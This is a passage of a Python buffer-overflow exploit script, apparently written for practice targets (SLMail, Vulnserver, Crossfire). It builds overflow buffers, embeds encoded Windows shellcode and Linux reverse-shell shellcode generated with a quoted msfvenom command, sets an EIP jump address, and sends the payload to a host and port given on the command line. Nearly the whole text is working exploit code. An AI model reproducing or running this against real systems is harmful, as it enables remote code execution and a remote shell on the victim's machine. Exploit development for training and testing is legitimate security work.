4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"[:maxOverflowBufferSize]
	if maxOverflowBufferSize > len(locateBuffer):
	print("Warning: Max Buffer Size is greater than locate buffer length")

	return(preCMD + locateBuffer + postCMD)

	def getSizeTestBuffer(preCMD,postCMD,preEIPSize,postEIPSize,EIPmarker):
	#sizeTestBuffer: This should drop D0C0FFEE in EIP , Xcc..ccX in the buffer, if it ends in ccX then complete buffer fits
	sizeTestBuffer = preCMD + b"A" * preEIPSize + EIPmarker + b"X" + b"C" * (postEIPSize-2) + b"X" + postCMD
	return(sizeTestBuffer)

	def getBadCharStr(preCMD,postCMD,overflowBufferOffset,maxOverflowBufferSize,badChrLst):

	blockStr = b''
	for i in range(0,0xFF):
	if i not in badChrLst:
	blockStr += bytes([i])

	blockBS = blockStr

	if maxOverflowBufferSize < overflowBufferOffset + len(blockStr):
	print("Warning: Max Buffer Size is less than bad block test string")

	badChrTestString = preCMD + b"A" * overflowBufferOffset + blockBS + ((maxOverflowBufferSize) - (overflowBufferOffset + len(blockStr) )-2) * b"B" + postCMD

	return(badChrTestString)


	def getNOPSled(size):
	return()

	# \|-------------------------------- FullCMD ----------------------------------\|
	# \|---- PreCMD ---- \| ------------- OverlowBuffer ------------ \| ---- PostCMD ----- \|
	# \| --- PreEIP --- \| EIP \| --- PostEIP --- \|

	EIPmarker = b'\xee\xff\xc0\xd0'

	winShellcode = (
	b"\xdb\xd3\xbb\xc4\xa0\xf4\x26\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
	b"\x52\x83\xc6\x04\x31\x5e\x13\x03\x9a\xb3\x16\xd3\xde\x5c\x54"
	b"\x1c\x1e\x9d\x39\x94\xfb\xac\x79\xc2\x88\x9f\x49\x80\xdc\x13"
	b"\x21\xc4\xf4\xa0\x47\xc1\xfb\x01\xed\x37\x32\x91\x5e\x0b\x55"
	b"\x11\x9d\x58\xb5\x28\x6e\xad\xb4\x6d\x93\x5c\xe4\x26\xdf\xf3"
	b"\x18\x42\x95\xcf\x93\x18\x3b\x48\x40\xe8\x3a\x79\xd7\x62\x65"
	b"\x59\xd6\xa7\x1d\xd0\xc0\xa4\x18\xaa\x7b\x1e\xd6\x2d\xad\x6e"
	b"\x17\x81\x90\x5e\xea\xdb\xd5\x59\x15\xae\x2f\x9a\xa8\xa9\xf4"
	b"\xe0\x76\x3f\xee\x43\xfc\xe7\xca\x72\xd1\x7e\x99\x79\x9e\xf5"
	b"\xc5\x9d\x21\xd9\x7e\x99\xaa\xdc\x50\x2b\xe8\xfa\x74\x77\xaa"
	b"\x63\x2d\xdd\x1d\x9b\x2d\xbe\xc2\x39\x26\x53\x16\x30\x65\x3c"
	b"\xdb\x79\x95\xbc\x73\x09\xe6\x8e\xdc\xa1\x60\xa3\x95\x6f\x77"
	b"\xc4\x8f\xc8\xe7\x3b\x30\x29\x2e\xf8\x64\x79\x58\x29\x05\x12"
	b"\x98\xd6\xd0\xb5\xc8\x78\x8b\x75\xb8\x38\x7b\x1e\xd2\xb6\xa4"
	b"\x3e\xdd\x1c\xcd\xd5\x24\xf7\x32\x81\x79\x2b\xdb\xd0\x85\x32"
	b"\xa0\x5c\x63\x5e\xc6\x08\x3c\xf7\x7f\x11\xb6\x66\x7f\x8f\xb3"
	b"\xa9\x0b\x3c\x44\x67\xfc\x49\x56\x10\x0c\x04\x04\xb7\x13\xb2"
	b"\x20\x5b\x81\x59\xb0\x12\xba\xf5\xe7\x73\x0c\x0c\x6d\x6e\x37"
	b"\xa6\x93\x73\xa1\x81\x17\xa8\x12\x0f\x96\x3d\x2e\x2b\x88\xfb"
	b"\xaf\x77\xfc\x53\xe6\x21\xaa\x15\x50\x80\x04\xcc\x0f\x4a\xc0"
	b"\x89\x63\x4d\x96\x95\xa9\x3b\x76\x27\x04\x7a\x89\x88\xc0\x8a"
	b"\xf2\xf4\x70\x74\x29\xbd\x91\x97\xfb\xc8\x39\x0e\x6e\x71\x24"
	b"\xb1\x45\xb6\x51\x32\x6f\x47\xa6\x2a\x1a\x42\xe2\xec\xf7\x3e"
	b"\x7b\x99\xf7\xed\x7c\x88"
	)


	#msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x20"
	linuxShellcode = (
	b"\xbb\x87\xbc\xc0\xcb\xd9\xc5\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
	b"\x12\x31\x5d\x12\x03\x5d\x12\x83\x42\xb8\x22\x3e\x7d\x1a\x55"
	b"\x22\x2e\xdf\xc9\xcf\xd2\x56\x0c\xbf\xb4\xa5\x4f\x53\x61\x86"
	b"\x6f\x99\x11\xaf\xf6\xd8\x79\x4f\x09\x1b\x78\xc7\x0b\x1b\x7b"
	b"\xac\x85\xfa\xcb\xb4\xc5\xad\x78\x8a\xe5\xc4\x9f\x21\x69\x84"
	b"\x37\xd4\x45\x5a\xaf\x40\xb5\xb3\x4d\xf8\x40\x28\xc3\xa9\xdb"
	b"\x4e\x53\x46\x11\x10"

	)


	# Notes for find jmps with mona. !mona modules to find a module then some handy OPCodes to look for



	# Exploit specific Variables

	##SLMail
	##
	#preCMD = b"PASS "
	#postCMD = b""
	#maxOverflowBufferSize = 2700
	#preEIPSize = 2606 # From pattern_offset.rb after locate crash
	#postEIPSize = 400 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
	#badChrLst = [0x00,0x0a,0x0d,0xff]
	#EIPjmpDst = b'\x8f\x35\x4a\x5f' # Wherever you want you exploit to jmp to (normally a jmp back to where your payload is). Remember Endian switch
	#preEIP = preEIPSize * b'A'
	#postEIP = getNOPSled(12) + shellcode
	#overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer
	#exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD


	##Vulnserver.exe
	##
	#preCMD = b"AUTH "
	#postCMD = b""
	#maxOverflowBufferSize = 1140
	#preEIPSize = 1040 # From pattern_offset.rb after locate crash
	#postEIPSize = 400 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
	#badChrLst = [0x00,0x0a,0x0d,0xff]
	#EIPjmpDst = '' # Wherever you want you exploit to jmp to (normally a jmp back to where your payload is). Remember Endian switch
	#preEIP = preEIPSize * b'A'
	#postEIP = getNOPSled(8) + shellcode + getNOPSled(maxOverflowBufferSize - len(shellcode))
	#overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer
	#exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD



	#Crossfire
	#Payload wont fit in PostEIP like normal, but it will fit in PreEIP which
	# locater str in EIP = 46367046 which gives 4368
	preCMD = b'\x11(setup sound '
	postCMD = b'\x90\x00#'
	maxOverflowBufferSize = 4379
	preEIPSize = 4368 # From pattern_offset.rb after locate crashpostEIPSize = 2 # Experiment with how much of a buffer we have spare - 351 is probably minimum for a whell
	postEIPSize = maxOverflowBufferSize - (preEIPSize + 4)
	badChrLst = [0x00,0x0a,0x0d,0x20,0xff]
	EIPjmpDst = b'\x97\x45\x13\x08' # JMP ESP (found by edb OpCode Search), Don't forget Endian Swicth
	ESP = b'\x83\xc0\x0c\xff\xe0\x90\x90' # ADD EAX,12 , JMP EAX
	preEIP = linuxShellcode + ((preEIPSize - len(linuxShellcode) ) * b'A')
	postEIP = ESP + (postEIPSize-len(ESP)) * b"D"
	overflowBufferOffset = 0 # Where to stick the bad char test, 0 fro PreEIP buffer <preEIPSize + 4> for post EIP buffer

	exploitStr = preCMD + preEIP + EIPjmpDst + postEIP + postCMD

	#print("mOBs: %i (%i/%i)\n-EIP (%i/%i)\n+EIP (%i/%i)" % (maxOverflowBufferSize,preEIPSize+postEIPSize+4,len(preEIP)+len(postEIP)+4,preEIPSize,len(preEIP),postEIPSize,len(postEIP)))

	try:
	server = sys.argv[1]
	port = int(sys.argv[2])

	except IndexError:
	print("[+] Usage %s host port" % sys.argv[0])
	sys.exit()

	s = so.socket(so.AF_INET, so.SOCK_STREAM)
	s.connect((server, port))
	print(repr(s.recv(1024)))

	##SLMail
	#s.send("USER test\r\n")
	#s.recv(1024)
	#sendPayload(exploitStr)

	##Vulnserver
	#sendPayload(exploitStr)

	#Crossfire
	#sendPayload(getPlainBuffer(preCMD,postCMD,maxOverflowBufferSize))
	#sendPayload(getLocateBuffer(preCMD,postCMD,maxOverflowBufferSize))
	#sendPayload(getSizeTestBuffer(preCMD,postCMD,preEIPSize,postEIPSize,EIPmarker))
	#sendPayload(getBadCharStr(preCMD,postCMD,overflowBufferOffset,maxOverflowBufferSize,badChrLst))
	sendPayload(exploitStr)

	s.close()